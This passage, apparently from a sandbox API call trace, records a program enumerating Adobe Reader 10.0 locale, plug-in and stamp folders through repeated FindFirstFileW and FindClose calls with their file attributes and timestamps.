ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.861] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.862] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.862] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.862] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.864] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.865] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.865] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.865] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.867] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.868] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.868] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.868] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.870] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.870] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.870] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.870] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.873] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.873] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.874] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.874] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.875] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.876] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.876] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.876] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.878] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.878] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.878] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.878] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.881] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.881] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.881] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.881] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.884] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.884] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.884] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.885] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.886] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.886] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.887] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.887] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.887] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.888] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.888] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.889] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.889] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.889] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.890] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.892] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.895] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.896] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.896] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.898] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.898] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.899] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.901] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.902] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.903] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.903] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.904] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.904] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.905] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.905] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.906] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.906] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.909] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.910] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.911] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.911] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.913] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.914] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.916] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.917] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, 